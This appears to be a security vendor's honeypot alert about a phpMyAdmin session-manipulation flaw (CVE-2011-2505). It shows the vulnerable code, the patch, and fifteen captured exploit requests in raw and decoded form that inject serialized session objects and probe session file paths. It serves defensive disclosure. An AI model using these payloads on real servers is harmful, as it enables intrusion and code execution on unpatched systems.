[Honeypot Alert] phpMyAdmin Superglobal Session Manipulation Attack Detected

Our web honeypots have identified attempts to exploit CVE-2011-2505. OSVDB lists the vulnerabilty as - phpMyAdmin libraries/auth/swekey/swekey.auth.lib.php Swekey_login() Function Superglobal Session Manipulation Arbitrary PHP Code Execution.

Screen shot 2012-01-17 at 10.04.22 AM

Vulnerability Details

The vulnerability lies within the following code snippet of the libraries /auth/swekey/swekey.auth.lib.php file:

266
267
268
269
270
271
272
273
274
275
276
if(strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
session_id($session_to_unset);
session_start();
$_SESSION= array();
session_write_close();
session_destroy();
exit;
}

Line 268 has a call to "parse_str" which takes two arguments however this call only uses one. This means that any other QUERY_STRING parameters and values will be used within the same namespace. The results is that the attacker can take full control of the $_SESSION array.

Attack Attempts

Here are the attacks that capture from the honeypots:

77.38.12.98 - - [17/Jan/2012:01:55:14 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22%2Ftmp%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:15 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A14%3A%22%2Fvar%2Ftmp%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:16 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A18%3A%22%2Fvar%2Flib%2Fphp%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:16 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A19%3A%22%2Fvar%2Flib%2Fphp4%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:17 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A19%3A%22%2Fvar%2Flib%2Fphp5%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:18 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A26%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:19 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A27%3A%22%2Fvar%2Flib%2Fphp4%2Fsession%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:20 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A27%3A%22%2Fvar%2Flib%2Fphp5%2Fsession%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:21 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A21%3A%22%2Fshared%2Fsessionssess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:22 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A23%3A%22%2Fvar%2Fphp_sessions%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:23 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A19%3A%22%2Fvar%2Fsessions%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:24 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A23%3A%22%2Ftmp%2Fphp_sessions%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:25 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A19%3A%22%2Ftmp%2Fsessions%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:26 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A18%3A%22..%2F..%2F..%2Ftmp%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:27 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A21%3A%22..%2F..%2F..%2F..%2Ftmp%2Fsess_%22%3B%7D%7D HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"

Here is a URL decoded version for easier reading:

77.38.12.98 - - [17/Jan/2012:01:55:14 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:10:"/tmp/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:15 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:14:"/var/tmp/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:16 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:18:"/var/lib/php/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:16 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:19:"/var/lib/php4/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:17 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:19:"/var/lib/php5/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:18 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:26:"/var/lib/php/session/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:19 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:27:"/var/lib/php4/session/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:20 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:27:"/var/lib/php5/session/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:21 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:21:"/shared/sessionssess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:22 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:23:"/var/php_sessions/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:23 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:19:"/var/sessions/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:24 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:23:"/tmp/php_sessions/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:25 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:19:"/tmp/sessions/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:26 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:18:"../../../tmp/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
77.38.12.98 - - [17/Jan/2012:01:55:27 -0600] "GET /mysql/index.php?session_to_unset=123&token=&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:21:"../../../../tmp/sess_";}} HTTP/1.1" 200 6720 "http://moldquoteim.ufeinc.com/mysql/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"

As you can see, the attacker is attempting to inject new unserialized $_SESSION data. These attacks were identified by the following:

Code Patches

The phpMyAdmin /auth/swekey/swekey.auth.lib.php file has since been fixed by removing the use of the parse_str function and calling the $_GET variable to access the "session_to_unset" data instead of accessing the $_SERVER QUERY_STRING data:

--- a/libraries/auth/swekey/swekey.auth.lib.php
+++ b/libraries/auth/swekey/swekey.auth.lib.php
@@ -263,11 +263,10 @@ function Swekey_login($input_name, $input_go)
        }
 }
 
-if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
+if (!empty($_GET['session_to_unset']))
 {
-    parse_str($_SERVER['QUERY_STRING']);
        session_write_close();
-       session_id($session_to_unset);
+       session_id($_GET['session_to_unset']);
        session_start();
        $_SESSION = array();
        session_write_close();

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.